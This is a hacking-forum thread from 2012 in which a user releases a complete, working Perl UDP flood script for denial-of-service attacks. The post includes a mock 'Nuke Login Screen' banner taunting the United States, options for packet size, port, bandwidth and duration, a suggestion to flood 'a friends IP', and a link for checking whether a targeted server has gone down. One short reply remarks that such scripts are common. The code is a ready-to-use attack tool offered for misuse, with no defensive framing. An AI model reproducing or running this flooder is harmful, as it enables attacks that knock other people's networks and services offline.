Hack Forums
[RELEASE] Snipzor789's UDP Flood Perl Code. [RELEASE] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: [RELEASE] Snipzor789's UDP Flood Perl Code. [RELEASE] (/showthread.php?tid=2278103)



[RELEASE] Snipzor789's UDP Flood Perl Code. [RELEASE] - snipzor78901 - Mar 6, 2012

Well here is is as the title says:
Code
#!/usr/bin/perl
#####################################################
# udp flood.
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw   = 0;
our $help = 0;
our $delay= 0;

GetOptions(
    "port=i" => \$port,        # UDP port to use, numeric, 0=random
    "size=i" => \$size,        # packet size, number, 0=random
    "bandwidth=i" => \$bw,        # bandwidth to consume
    "time=i" => \$time,        # time to run
    "delay=f"=> \$delay,        # inter-packet delay
    "help|?" => \$help);        # help
    

my ($ip) = @ARGV;

if ($help || !$ip) {
  print <<'EOL';

Welcome to the Snipzor789 DoS Hack Tool Version 1.0 Released March/4/2012. ©.
______________________________________________________________________________
|                                                                              |
|                    Defcon Level 1 Nuke Login Screen.                         |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [      CIA      ]                        |
|                                                                              |
|                 Password:           [    Security   ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
| I Have Your Security In My Hands Now United States.                          |
| SYSTEM FAILURE IN ALL YOUR FAIL SECURITY.                                    |
|______________________________________________________________________________|

Usage: ./UDPFlood.pl <IP> --<OPTIONS>

Options:
--port
--size
--time
--bandwidth
--delay

IF VALUES:
    If the bandwidth is specified, but delay and size are not, the size is set to 256 bytes and the delay is computed;
    If the bandwidth and delay are specified, the packet size is computed and overrides the size settings (if present);
    If the size and delay are specified, the IP bandwidth is computed and reported before the flooding starts;
    If only the delay parameter is specified, random-sized packets are sent at the specified intervals.

Min Packet Size 64 - Max 1500.

This UDP Flooder also comes with the capability to flood a friends IP with open ports since routers read UDP.

Website To Check if Web-Server is up or down:
http://www.downforeveryoneorjustme.com/

If you find any other issues please report them VIA E-Mail to the following:
Snipzor789DOS(AT)yahoo.ca

Written by Snipzor789.

USING THIS TOOL WITH OTHER TOOLS SUCH AS A TCP FLOODER WILL CAUSE A DOS ON YOUR LOCAL NETWORK IF USED WRONG.
EOL
  exit(1);
}

if ($bw && $delay) {
  print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  $size = int($bw * $delay / 8);
} elsif ($bw) {
  $delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
print "Interpacket delay $delay msec\n" if $delay;
print "Total IP bandwidth $bw kbps\n" if $bw;
print "Break with Ctrl-C\n" unless $time;

die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  usleep(1000 * $delay) if $delay;
}

Peace! 🤝


* - Synchronizing - Mar 6, 2012

Cool script, but Perl scripts for DoSing are all over the Internet now.